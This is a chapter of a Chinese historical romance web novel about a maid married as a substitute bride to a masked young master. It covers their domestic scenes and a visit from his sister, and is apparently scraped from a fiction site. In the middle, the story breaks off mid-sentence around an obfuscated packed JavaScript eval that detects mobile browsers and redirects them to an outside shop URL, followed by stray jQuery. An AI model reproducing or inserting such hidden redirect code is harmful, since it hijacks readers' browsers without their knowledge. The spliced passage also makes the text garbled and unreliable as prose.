梅棠额上生出一层细汗,扯谎道:“……是娘亲送来的补药。”
李璋蹙眉:“药不可乱吃,给我瞧瞧。”
他伸手去拿,那锦盒却被梅棠紧紧压在桌子上,“不用了夫君,就是寻常的补药而已。”
李璋打量着她,不发一言,但目光却自带压迫,梅棠怯生生地将锦盒摊开在他面前,闭上眼睛,语速飞快:“这是娘给的避孕药,她说这个对身体没有伤害,让我不要喝那些避子汤。”
李璋愣了一下,看了看锦盒里附着的字条,桃花眼又落在小脸通红、满是尴尬与窘迫的小妻子身上,他缓缓勾起了唇角,淡声道:“放着吧,反正你也用不到。”
梅棠心里五味杂陈,羞窘之余又有几分酸涩委屈,是啊,她当然用不到。
她这个替嫁的小丫鬟怎么可能与大少爷睡觉,更别提服用什么避孕药了……
她低垂着眼睫,眼眶发涩,正要把这锦盒塞到箱子最下面,李璋忽地俯身,附在她耳边,含笑低声道:“棠棠,这药是男子服用的,以后我来吃就好。”
梅棠倏地瞪大眼,“什么?”
李璋轻笑一声,捏了下她柔软的脸颊,“别犯傻了,走了,吃饭去。”
留梅棠在原地呆愣,好一会儿之后,她面颊作烧,小碎步跑到饭桌边。
变蛋瘦肉粥咸香味美,腌黄瓜清脆爽口,还有一盘仍冒着热气的小葱鸡蛋油饼。
这都是梅棠喜欢的,她吃得开心,转瞬便将方才大少爷所说的话抛诸脑后。
李璋见她没事儿人一样,吃这么香,心口有点堵。
难道是他说的话不够明显?
他薄唇微抿,道:“三日后是如瑾十五岁的生辰,她虽是庶出,却自幼乖巧懂事,我身为长兄,你作为长嫂,应当有所表示才好。”
梅棠忙道:“那是自然,如瑾她平日里都喜欢什么?”
李璋:“她性子文静淑雅,跟赵姨娘在内院住着,鲜少出门,平日里喜欢作画绣花,或是帮母亲一道侍弄花草。”
“那送她一套上好的笔墨纸砚?”
“我半年前送过她了。”
“送珠钗头面呢?”
“这个倒是可行,只是女儿家的事我不懂,赶明儿请她过来这边坐坐,你们聊天吃茶玩一会,打听她的喜好,如何?”
梅棠笑着点头:“好呀,我来府里几日了,也就那天给赵姨娘请安时,匆匆见她一面,正想和她好好说会儿话呢。”
“嗯,我待会儿便吩咐人去那边递个话。”
梅棠却道:“别,夫君,这是我头一回请如瑾过来吃茶,还是由我派人去递个请帖。”
说着,她叫来彩月,让她用信笺纸写了请帖,细细熏了香。
她自去花园折了两枝鲜嫩海棠花,一并让彩月送去给了二小姐。
李璋目不转睛地看着她,没问她为何不亲自写请帖,反而让丫鬟代劳。
他眸光沉静,在梅棠像只小蜜蜂一样忙完后,方淡声开口:“明日需要什么,尽管吩咐下人去准备,我明日不在家里,你们二人不必拘束。”
梅棠很是开心,“多谢夫君!”
彩月送完帖子回来了,笑盈盈道:“少夫人,二小姐收到您的帖子和花十分高兴,让奴婢带话说,明日一早用罢早饭便过来。赵姨娘也在边上,她怕二小姐不懂规矩,说让少夫人多多包涵。”
“那可太好了!”梅棠满脸笑容,“夫君,赵姨娘当真是个和气人儿呢!”
为了迎接如瑾,梅棠吩咐丫鬟婆子将院子内外仔细打扫一遍,虽说这事每日都会做,屋子桌椅无不明净整齐,但众人还是依命照做。
梅棠不喜欢在房里点熏香,最多采些新鲜花枝插瓶,借点淡淡花香,此时怕如瑾会觉单调,便燃了些松木香檀。
她见椅子上的椅袱色泽太过艳丽,忙吩咐人换了套素净雅致的。
李璋看她忙里忙外,心内不禁觉得好笑。
明日不过是要和府里的二小姐见面吃茶,她却如此紧张隆重。
……怎么没见她讨好自己这个大少爷呢?
少女忙得脸颊泛红,香汗细细,他走上前,掏出手帕擦拭了下她微微汗湿的鬓发,“渴不渴?”
梅棠下意识地点头,一盏茶递到了她面前。
她小口饮下,温度正好。
心口蓦地涌上一股暖流,她抬眼,对李璋粲然一笑:“谢谢夫君。”
李璋被她灿烂的笑靥晃得心跳加速。
他抿了抿唇,强作镇定:“你我是夫妻,不必如此见外。”
梅棠又像只花蝴蝶般跑去了别处。
李璋忽地注意到,她这几日穿的衣衫似乎都有点偏大,衬得她腰肢更显不盈一握。
他眸色微沉,陆府让人替嫁也就罢了,怎么连合身的衣服也不给她?
他知道梅棠是心甘情愿替嫁的,但他仍为她感到愤怒和委屈。
一阵风吹过,梅棠看到大少爷急匆匆离去的身影。
咦,哪来的怨气啊?好强好浓烈呀……
一盏茶的功夫后,李璋又出现在她面前。
他身后多了一名女子,约莫四十多岁,身材瘦削,样貌和气。
梅棠奇怪问道:“夫君,这位娘子是?”
李璋:“这是城中有名的柳裁缝,我请她来为你做几件新衣裳。”
梅棠眨了眨眼,小声说:“可我不缺衣服呀。”
李璋定定凝着她,她又感到那股似怨似怒的气息,忙笑脸相迎:“那就有劳柳娘子了。”
量罢尺寸、照着她带来的纸样选好样式后,梅棠见柳裁缝收拾完家伙便要告辞,忍不住问:“柳娘子不必记录下来吗?”
柳裁缝恭谨笑道:“少奶奶放心,奴家别的不成,记性还算好,不会弄错的。”
梅棠惊讶赞叹:“好厉害呀!”
柳裁缝笑着告退,彩月送她出了院门。
梅棠对李璋道:“夫君何必破费让人来做衣裳,我女红很好的,以前在家里常自己做衣裳。”她脸不红心不跳地扯谎。
李璋没拆穿她,“即便如此,你如今是府中的大少奶奶,何必再自己劳神费眼?过几日她做好衣裳送上门,你试试看喜不喜欢。”
“若是不喜欢呢?”
“那便找人重做。”
“……”
有钱人家就是任性哦。
要是奶奶得知此事,定会恼她铺张浪费,她老人家认为衣裳只要干净就好,那么多的花纹样式有什么用呢,又不管饱。
梅棠些微出神,不知不觉间又红了眼圈儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468746|201360||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,李璋一直注视着她,见她忽地伤心起来,心中一慌,“怎么了棠棠,身体不舒服吗?”
梅棠摇摇头,勉强挤出笑:“不是,我只是突然想到一个故去的亲人,她……是我的一个远房亲戚,虽是乡下的婆婆,但对我很好。”
李璋顿了顿,“她葬在何处?改天我们去祭奠她,好不好?”
梅棠愣住:“可以吗?”
“有何不可。”李璋认真道,“你的亲人便是我的亲人,你若是想念她,咱们便过去看望她,跟她说说话。”
梅棠又惊又喜:“夫君此言当真?”
“嗯,等过了如瑾的及笄礼,咱们便去。”
“太好了!”
梅棠高兴得在地上蹦了几下,忽然意识到自己行为不妥,忙装作镇静,挂着甜美明亮的笑看向李璋,极为诚恳道:“夫君,你真是天下第一大善人!”
某善人心情愉悦,“好了,晌午太阳大,你可别嫌热脱去外衫,仔细着凉。”
梅棠举手发誓:“夫君放心,我一定乖乖听话!”
……
这天夜里,李璋仍与梅棠同眠一榻。
他动作规矩,从不轻薄她半分,反倒是她一睡着就管不住手脚,总喜欢缠在他身上。
梅棠很是心虚,大少爷为她着想,担心她又突然生病才陪着她,可她却以怨报德,大少爷脾气真好,这都没嫌弃她……
可人也是奇怪,虽然自己做错事,但是当对方不责怪自己时,次数多了,便也不觉得有什么错处了。
梅棠便是如此,翌日清晨见自己又将脸埋在他胸膛上,手臂紧紧抱着他的腰,她也只是脸红了一下,便匆匆滚下他的身体,佯作镇静地下床梳洗。
也因此没注意到,李璋面具之下,微微泛红的耳根。
对真正的大户小姐而言,请人来吃茶赏花只是日常活动之一,可梅棠不是呀。
她见过的小姐只有陆小姐,又没读过书,什么都不懂的一个村里姑娘,如今要款待首富老爷家的小姐,这小姐还是她名义上的小姑子。
对梅棠来说,这是一件极为艰难重要之事。
于是匆匆用罢早饭,她又内外将屋子看了一遍,见丫鬟婆子一应之物都准备妥当,这才将心放回肚子。
如瑾是在半个时辰之后到的。
她穿一身浅粉色家常衣裳,梳着垂鬟分肖髻,一缕乌发垂在右肩前,发髻上簪着一朵洁白清香的栀子花,更显面容清丽娇柔。
她身量修长,削肩细腰,徐徐走来时,梅棠一时间想起了画上的仕女。
“如瑾见过嫂嫂。”
少女喉音清脆,忽闪着一双清凌凌杏眼含羞带怯地看着她。
梅棠心口怦怦直跳,只觉半边身子都酥麻了,腾地红了脸,忙应道:“如瑾妹妹不必拘礼,我也就大你两岁,你叫我一声姐姐就是。”
“宁姐姐?”
梅棠梗了一下,小声说:“虽然很怪,但我的小名叫棠棠。”
如瑾腼腆一笑:“棠姐姐。”
梅棠被她的笑给击中了,她一面拉着人的小手往屋里走,一面忍不住心中嘀咕:二小姐长得这么好看,陆老爷也相貌堂堂,难道只有大少爷长得丑吗?
唔,晚上趁他睡着,她要偷偷掀开他的面具瞧一瞧。